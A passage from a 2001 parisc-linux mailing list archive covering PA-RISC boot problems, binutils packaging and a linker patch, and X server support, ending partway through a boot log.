A bit. HP hasn't done any testing on Nova class boxes.

Some folks are running parisc-linux on E55 (iirc) using NFS root.
FWIW, they are only capable of 32-bit kernels. Forget
trying to install the CD on local disk since we have no drivers
for the HP-PB SCSI interfaces. At www.parisc-linux.org , read the
FAQ answer to "is my HW supported".

Please submit a bug to either kernel or palo project which includes
*all* serial console output. See http://bugs.parisc-linux.org/
for info on how to submit bugs.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: amodra@one.net.au
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.6.1 isos
Date: Thu, 17 May 2001 11:37:02 +0930
Lines: 17
Approved: news@gmane.org
Message-ID: <20010517113702.W14368@squeak.one.net.au>
References: <A4A5E4C468B5D11190220001FA6835DD04DD892B@EPIXCH003>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620122 19387 80.91.229.3 (22 Nov 2014 01:35:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:22 +0000 (UTC)
Cc: "'puffin-t@esiee.net'" <puffin-t@esiee.net>,
	parisc-linux@lists.parisc-linux.org,
	parisc-linux-announce@lists.parisc-linux.org
To: SOETE Jo?l <JSO@EUROPAY.COM>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 16 20:03:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail-ob01.one.net.au (mail-ob01.one.net.au [61.12.0.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 31C5A482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 May 2001 20:03:17 -0600 (MDT)
Original-Received: Received: [from squeak.local (async169-ade-isp-7.nas.one.net.au [203.101.92.170])
	by mail-ob01.one.net.au  with SMTP id f4H22Vw09129
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 May 2001 12:02:50 +1000 (EST)]
Original-Received: (qmail 30061 invoked by uid 179); 17 May 2001 02:07:02 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <A4A5E4C468B5D11190220001FA6835DD04DD892B@EPIXCH003>; from JSO@EUROPAY.COM on Wed, May 16, 2001 at 08:05:56PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11061

On Wed, May 16, 2001 at 08:05:56PM +0200, SOETE Jo?l wrote:

> !!! I just try binutils_2.11.90.0.7-2.99_hppa.deb but as failed on 'bus
> error' !!!

Don't use anything based on HJ's .0.7 binutils (which this deb is).
It has half of a necessary change installed, which unfortunately
for hppa-linux means 2.11.90.0.7* generates bad objects with
references to ".plt - 1".  These references will generate an
unaligned data trap when you hit them.

-- 
Alan Modra





From - Thu Nov 08 21:17:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.6.1 isos
Date: Wed, 16 May 2001 22:18:18 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20010517041818.BA22B37CC5@carmen.fc.hp.com>
References: <A4A5E4C468B5D11190220001FA6835DD04DD892B@EPIXCH003>  <20010517113702.W14368@squeak.one.net.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620123 19391 80.91.229.3 (22 Nov 2014 01:35:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:23 +0000 (UTC)
Cc: SOETE Jo?l <JSO@EUROPAY.COM>,
	"'puffin-t@esiee.net'" <puffin-t@esiee.net>,
	parisc-linux@lists.parisc-linux.org,
	parisc-linux-announce@lists.parisc-linux.org,
	taggart@carmen.fc.hp.com
To: amodra@one.net.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 16 22:15:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 755AC482A; Wed, 16 May 2001 22:15:35 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 8ED8FB2F; Thu, 17 May 2001 00:15:34 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id BA22B37CC5; Wed, 16 May 2001 22:18:18 -0600 (MDT)
In-Reply-To: Your message of "Thu, 17 May 2001 11:37:02 +0930."
             <20010517113702.W14368@squeak.one.net.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:11062

amodra@one.net.au writes...

> On Wed, May 16, 2001 at 08:05:56PM +0200, SOETE Jo?l wrote:
> 
> > !!! I just try binutils_2.11.90.0.7-2.99_hppa.deb but as failed on 'bus
> > error' !!!
> 
> Don't use anything based on HJ's .0.7 binutils (which this deb is).

No that deb is using .0.8 source so it's ok. Sorry, the name is confusing
(.0.7-2.99) because I wanted people to be able to apt upgrade cleanly when
the real .0.8 deb is available next week. BTW- I hadn't meantioned it here
yet but these debs are available at,

ftp://puffin.external.hp.com/pub/parisc/binaries/debian/newcompilers-20010515/

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation




From - Thu Nov 08 21:17:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bright, Stephen" <Stephen.Bright@thales-esecurity.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting from SCSI disk.
Date: Thu, 17 May 2001 11:32:35 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <9EB1F7B63758D411A78D00A0C9D84789B16BED@UKCRN03>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620123 19394 80.91.229.3 (22 Nov 2014 01:35:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:23 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 17 04:36:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ukcrn03.zaxus.com (mail.securepay.co.uk [193.112.44.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B1E1482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 May 2001 04:36:41 -0600 (MDT)
Original-Received: by UKCRN03 with Internet Mail Service (5.5.2653.19)
	id <K4WMB1S9>; Thu, 17 May 2001 11:32:48 +0100
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:11063

Hi,

I have a newly acquired 712/80 which I have booting happily via NFS.  I
would like to set it up to boot from the SCSI hard drive.  However, reading
the instructions on the website states that you need to use an i386 machine
to fdisk and run palo on the hdd.  Unfortunately I don't own a SCSI card for
my i386 boxes.

Is it not possible to run fdisk and palo on the HP itself?  I have tried
this, but when it boots I get a message along the lines of "Cannot grok the
kernel executable" (sorry, this is quoted from memory, so may not be exactly
correct).  Is there something preventing me doing this correctly?  Is an
i386 with SCSI card still required to setup the boot disk correctly?

If it helps, I fdisk'ed the hdd:
~20M partition type F0
~900M partition type 83
~80M partition type 82

-- 
Steve
 




From - Thu Nov 08 21:17:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Mikkel Lauritsen" <ml@Catalog-international.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems booting 712/100 with 0.6 ISO
Date: Thu, 17 May 2001 12:43:55 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <D29B706549FC12468AC1A06BA08D6E703C6451@CIEXCHANGE.Catalog-international.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620123 19396 80.91.229.3 (22 Nov 2014 01:35:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:23 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 17 04:43:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from CIEXCHANGE.catalog-international.com (unknown [212.97.213.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5A0A4482A
	for <parisc-linux@parisc-linux.org>; Thu, 17 May 2001 04:43:46 -0600 (MDT)
X-MimeOLE: Produced By Microsoft Exchange V6.0.4417.0
content-class: urn:content-classes:message
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Problems booting 712/100 with 0.6 ISO
Thread-Index: AcDevkVpAIhaaFhvSwaSIe8FqiINIA==
Xref: news.gmane.org gmane.linux.ports.parisc:11064

Hi all,

I fear that this might be an extremely stupid question, but I'm
having problems booting my 712/100 from the 0.6 ISO. Yes, I know
there's a newer one available, but the old should still work,
right?

I've downloaded the palinux-0.6-32STI.iso.gz file and burnt it
on a CD. The CD itself looks fine when mounted on the same box
under HP-UX; it contains what looks like a complete file system.
BTW, all of the files and directories on the CD have uppercase
names. Is that the way it's supposed to be?

Anyway, entering

boot scsi.3.0

from the boot monitor prompt makes the CD-rom drive rattle a bit,
and then the prompt is redisplayed.

Am I missing out on something completely obvious here? I've had
to swap the original HP CD-drive (Toshiba 5701) with an old NEC
drive that I dug up since the former one wouldn't read the CD,
but otherwise I don't think there are any hardware problems
involved.

Any light shed on this will be much appreciated. Thanks,

 Mikkel Lauritsen




From - Thu Nov 08 21:17:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: amodra@one.net.au
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Really hide millicode syms
Date: Thu, 17 May 2001 20:54:40 +0930
Lines: 45
Approved: news@gmane.org
Message-ID: <20010517205439.C14368@squeak.one.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620123 19402 80.91.229.3 (22 Nov 2014 01:35:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: binutila@sources.redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 17 05:20:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail-ob03.one.net.au (mail-ob03.one.net.au [61.12.0.163])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65206482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 May 2001 05:20:20 -0600 (MDT)
Original-Received: Received: [from squeak.local (async191-ade-isp-7.nas.one.net.au [203.101.92.192])
	by mail-ob03.one.net.au  with SMTP id f4HBK3W13238
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 May 2001 21:20:04 +1000 (EST)]
Original-Received: (qmail 30294 invoked by uid 179); 17 May 2001 11:24:40 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
Xref: news.gmane.org gmane.linux.ports.parisc:11065

A change to elf32_hppa_hide_symbol meant that clobber_millicode_symbols
wasn't doing its job to prevent millicode from being exported from
shared libs.  Among other things, this resulted in stubs trying to
load from .plt - 1, which bombs with an unaligned access.

	* elf32-hppa.c (clobber_millicode_symbols): Temporarily set
	ELF_LINK_FORCED_LOCAL to suit 2001-04-30 change.
	(hppa_build_one_stub): Add an assert to check plt.offset.

-- 
Alan Modra

Index: bfd/elf32-hppa.c
===================================================================
RCS file: /cvs/src/src/bfd/elf32-hppa.c,v
retrieving revision 1.32
diff -u -p -r1.32 elf32-hppa.c
--- elf32-hppa.c	2001/04/30 16:13:26	1.32
+++ elf32-hppa.c	2001/05/17 11:02:14
@@ -938,6 +938,7 @@ hppa_build_one_stub (gen_entry, in_arg)
 
     case hppa_stub_import:
     case hppa_stub_import_shared:
+      BFD_ASSERT (stub_entry->h->elf.plt.offset < (bfd_vma) -2);
       sym_value = (stub_entry->h->elf.plt.offset
 		   + hplink->splt->output_offset
 		   + hplink->splt->output_section->vma
@@ -2147,7 +2148,13 @@ clobber_millicode_symbols (h, info)
   /* Note!  We only want to remove these from the dynamic symbol
      table.  Therefore we do not set ELF_LINK_FORCED_LOCAL.  */
   if (h->type == STT_PARISC_MILLI)
-    elf32_hppa_hide_symbol (info, h);
+    {
+      unsigned short oldflags = h->elf_link_hash_flags;
+      h->elf_link_hash_flags |= ELF_LINK_FORCED_LOCAL;
+      elf32_hppa_hide_symbol (info, h);
+      h->elf_link_hash_flags &= ~ELF_LINK_FORCED_LOCAL;
+      h->elf_link_hash_flags |= oldflags & ELF_LINK_FORCED_LOCAL;
+    }
   return true;
 }
 




From - Thu Nov 08 21:17:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dr. David Gilbert" <gilbertd@treblig.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting from SCSI disk.
Date: Thu, 17 May 2001 12:26:08 +0100 (BST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0105171224381.23541-100000@springhead.px.uk.com>
References: <9EB1F7B63758D411A78D00A0C9D84789B16BED@UKCRN03>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620124 19407 80.91.229.3 (22 Nov 2014 01:35:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:24 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Bright, Stephen" <Stephen.Bright@thales-esecurity.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 17 05:23:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bastion.power-x.co.uk (bastion.power-x.co.uk [62.232.19.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id A438A482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 May 2001 05:23:51 -0600 (MDT)
Original-Received: from springhead.px.uk.com (IDENT:dg@springhead.px.uk.com [172.16.18.41])
	by bastion.power-x.co.uk (8.9.3/8.9.3) with ESMTP id MAA11570;
	Thu, 17 May 2001 12:23:35 +0100
X-X-Sender: <dg@springhead.px.uk.com>
In-Reply-To: <9EB1F7B63758D411A78D00A0C9D84789B16BED@UKCRN03>
Xref: news.gmane.org gmane.linux.ports.parisc:11066

On Thu, 17 May 2001, Bright, Stephen wrote:

> Is it not possible to run fdisk and palo on the HP itself?  I have tried
> this, but when it boots I get a message along the lines of "Cannot grok the
> kernel executable" (sorry, this is quoted from memory, so may not be exactly
> correct).  Is there something preventing me doing this correctly?  Is an
> i386 with SCSI card still required to setup the boot disk correctly?

I managed to get this to work last weekend; I have a 712/30 and found that
a palo binary was included in the standard binary set and I'm pretty sure
that I used the image that I was previously using to net boot it with.

Dave
/---------------| +44-161-286-2000 Ex258 |-------------------------\
| Dr. David Alan Gilbert | Work:david.gilbert@powerxnetworks.com   |
| -------- G7FHJ --------|---------------------------------------- |
| Home: dave@treblig.org            http://www.treblig.org         |
\------------------------------------------------------------------/





From - Thu Nov 08 21:17:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Charlie Navarro <charlie_navarro@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] XF86Config-4
Date: Thu, 17 May 2001 11:11:46 -0300
Lines: 12
Approved: news@gmane.org
Message-ID: <01051711114601.02177@diana>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620124 19412 80.91.229.3 (22 Nov 2014 01:35:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 17 08:16:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.xaire.com (unknown [200.47.131.113])
	by dsl2.external.hp.com (Postfix) with ESMTP id 31D78482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 May 2001 08:16:09 -0600 (MDT)
Original-Received: from diana (agencia.cordoba.xaire.com [200.47.58.235])
	by mail.xaire.com (Postfix) with SMTP id EAB9F421E
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 May 2001 11:05:48 +0000 (GMT)
X-Mailer: KMail [version 1.2]
Xref: news.gmane.org gmane.linux.ports.parisc:11067

Hello,

I have a 712/60 with STI kernel and XFree86 4.0.3, but I can not make the 
correct XF86Config-4. 
Where do I download an example?

Thanks in advance

Charlie




From - Thu Nov 08 21:17:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting from SCSI disk.
Date: Thu, 17 May 2001 16:03:37 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20010517160337.A13481@parcelfarce.linux.theplanet.co.uk>
References: <9EB1F7B63758D411A78D00A0C9D84789B16BED@UKCRN03>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620124 19414 80.91.229.3 (22 Nov 2014 01:35:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:24 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Bright, Stephen" <Stephen.Bright@thales-esecurity.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 17 09:04:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9A8CA482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 May 2001 09:04:11 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 150PJR-0004Pw-00; Thu, 17 May 2001 16:03:37 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <9EB1F7B63758D411A78D00A0C9D84789B16BED@UKCRN03>; from Stephen.Bright@thales-esecurity.com on Thu, May 17, 2001 at 11:32:35AM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11068

On Thu, May 17, 2001 at 11:32:35AM +0100, Bright, Stephen wrote:
> Is it not possible to run fdisk and palo on the HP itself?

Yes, it is, i've done it.

> I have tried
> this, but when it boots I get a message along the lines of "Cannot grok the
> kernel executable" (sorry, this is quoted from memory, so may not be exactly
> correct).

i bet you're using the lifimage instead of the vmlinuz.  paul, would it
be feasible to check for this and print a more helpful error message in
this instance?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XF86Config-4
Date: Thu, 17 May 2001 16:08:10 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20010517160810.B13481@parcelfarce.linux.theplanet.co.uk>
References: <01051711114601.02177@diana>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620125 19416 80.91.229.3 (22 Nov 2014 01:35:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Charlie Navarro <charlie_navarro@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 17 09:09:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 39827482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 May 2001 09:09:55 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 150PNq-0004YQ-00; Thu, 17 May 2001 16:08:10 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <01051711114601.02177@diana>; from charlie_navarro@yahoo.com on Thu, May 17, 2001 at 11:11:46AM -0300
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11069

On Thu, May 17, 2001 at 11:11:46AM -0300, Charlie Navarro wrote:
> I have a 712/60 with STI kernel and XFree86 4.0.3, but I can not make the 
> correct XF86Config-4. 
> Where do I download an example?

X servers aren't supported yet.  If you want to hack one up yourself,
please go ahead.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Xavier Debacker <debackex@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting from SCSI disk.
Date: Thu, 17 May 2001 17:45:26 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <20010517154527.04341D15AC@mail.esiee.fr>
References: <9EB1F7B63758D411A78D00A0C9D84789B16BED@UKCRN03>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620125 19419 80.91.229.3 (22 Nov 2014 01:35:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:25 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Bright, Stephen" <Stephen.Bright@thales-esecurity.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 17 11:57:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 13101482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 May 2001 11:57:25 -0600 (MDT)
Original-Received: from esiee.fr (mail.esiee.fr [147.215.1.3])
	by mail.esiee.fr (Postfix) with ESMTP
	id 04341D15AC; Thu, 17 May 2001 17:45:27 +0200 (CEST)
In-Reply-To: <9EB1F7B63758D411A78D00A0C9D84789B16BED@UKCRN03>
User-Agent: IMHO/0.97.1 (Webmail for Roxen)
Xref: news.gmane.org gmane.linux.ports.parisc:11070

> Hi,                                                                 
>                                                                     
> I have a newly acquired 712/80 which I have booting happily via NFS.
 I                                                                    
> would like to set it up to boot from the SCSI hard drive.  However, 
reading                                                               
> the instructions on the website states that you need to use an i386 
machine                                                               
> to fdisk and run palo on the hdd.  Unfortunately I don't own a SCSI 
card for                                                              
> my i386 boxes.                                                      
                                                                      
Hi Stephen,                                                           
                                                                      
Maybe you can use the cdrom iso (think about the easy sys-install and 
net-install scripts)                                                  
If you don't have any external scsi cdrom drive, you can still use the
contents as a nfsroot with a few changes (keeping your current /etc   
directory should be enough)                                           
                                                                      
http://mkhppa1.esiee.fr/en/download.html for latest iso               
                                                                      
good luck                                                             
Xavier.                                                               




From - Thu Nov 08 21:17:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan Heumann <jheumann@fonts.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA-Linux 0.6.1 on HP 9000 710, kernel =?iso-8859-1?Q?can=B4t?= find the
 cd-rom
Date: Fri, 18 May 2001 15:16:46 +0100
Lines: 242
Approved: news@gmane.org
Message-ID: <3B052ECE.F8FE6B83@fonts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620125 19421 80.91.229.3 (22 Nov 2014 01:35:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:25 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 18 06:52:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 430B6482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 May 2001 06:52:39 -0600 (MDT)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA25093
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 May 2001 06:45:37 -0600
Original-Received: (qmail 17150 invoked by uid 15267); 18 May 2001 12:52:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17092 invoked from network); 18 May 2001 12:52:21 -0000
Original-Received: from unknown (HELO mail.fonts.de) (212.109.160.151)
  by mailserv2.iuinc.com with SMTP; 18 May 2001 12:52:21 -0000
Original-Received: from fonts.de [193.103.125.90] by mail.fonts.de with ESMTP
  (SMTPD32-6.06) id AA8866290180; Fri, 18 May 2001 14:58:32 +0100
Original-Sender: jheumann@mailserv2.iuinc.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15smp i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11071

Hi,

ich habe auf mehreren HP 9000 710 50MHz die 0.6.1 PA-RISC ISO getestet.
Jedesmal kann das CD-Laufwerk vom Kernel nicht gefunden werden. Ist dies
noch ein Bug im NCR53c7xx LASI Treiber bzw. ist es bereits behoben?

I have just tested the 0.6.1 PA-RISC ISO on several HP 9000 710 with 50
MHZ. The Kernel is always unable to find the CD-Rom. Is this a bug
within the NCR53c7xx, or am I missing something? Is there a patch/fix?

Here is a copy of the boot log:

Hier das Boot-Log:

(c) Copyright.  Hewlett-Packard Company.  1991.
All rights reserved.

PDC ROM rev. 2.0
IODC ROM rev. 2.0
64 MB of memory configured and tested.


Selecting a system to boot.
To stop selection process, press and hold the ESCAPE key.

Selection process stopped.

Searching for Potential Boot Devices.
To terminate search, press and hold the ESCAPE key.

Search terminated.



b)    Boot from specified device
s)    Search for bootable devices
a)    Enter Boot Administration mode
x)    Exit and continue boot sequence
?)    Help

Select from menu: a
BOOT_ADMIN> info
----------------------------- Hardware Configuration
------------------------

Machine model: 9000/710

Processor Frequency        = 50000000 Hz
I/O Subsystem Frequency    = 25000000 Hz

LAN Jumper Status: External AUI Port selected

Processor Revision                  = 3
System Controller Revision          = 0
Floating Point Coprocessor Revision = 3

Hardware Version            12288     (0x00003000)
Software Version             1153     (0x00000481)

BOOT_ADMIN> boot scsi.4.0

Trying scsi.4.0
Boot path initialized.
Attempting to load IPL.

Hard booted.
palo ipl debackex@pc5158a Wed Apr 11 17:56:43 CEST 2001
0/vmlinux 2619890 bytes @ 0x4fc000
0/palo-cmdline '0/vmlinux ROOT=/ TERM=linux root=/dev/scd0 console=ttyS0
ramdisk=8192'
Kernel: partition 0 file /vmlinux
ELF32 executable
Entry 00100000 first 00100000 n 5
Segment 0 load 00100000 size 1530128 mediaptr 0x1000
Segment 1 load 00276000 size 182408 mediaptr 0x177000
Segment 2 load 002a4000 size 212996 mediaptr 0x1a4000
Segment 3 load 002dc000 size 8192 mediaptr 0x1d9000
